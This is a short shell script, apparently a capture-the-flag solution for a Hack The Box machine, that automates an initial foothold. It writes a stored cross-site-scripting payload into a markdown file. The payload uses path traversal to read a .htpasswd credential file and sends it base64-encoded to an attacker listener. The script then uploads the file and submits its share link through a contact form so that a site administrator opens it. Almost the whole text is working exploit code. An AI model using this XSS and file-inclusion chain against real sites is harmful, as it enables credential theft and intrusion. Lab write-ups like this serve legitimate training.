Script to automate gaining foothold information. Can be updated to enumerate via Local File Inclusion.

a_foothold.sh

cat <<EOF > exploit.md
<script>
  fetch("http://xxxxx.htb/messages.php?file=../../../../var/www/statistics.xxxxx.htb/.htpasswd")
    .then(response => response.text())
    .then(data => {
      fetch("http://10.10.xx.xx:8000/?data=" + btoa(data));
    })
    .catch(error => console.error("Error fetching the messages:", error));
</script>
EOF

response=$(curl -s -X  POST -F "[email protected];type=text/markdown" http://xxxxx.htb/visualizer.php)
link=$(echo $response | grep -oP '(?<=link_share=)[^&"]+')

url="message%3Dhttp%3A%2F%2FXXXXX.htb%2Fvisualizer.php%3Flink_share%3D${link}"
email="email=hacker%40hacks.htb&message=${url}"

curl 'http://xxxxx.htb/contact.php' -X POST --data-raw $email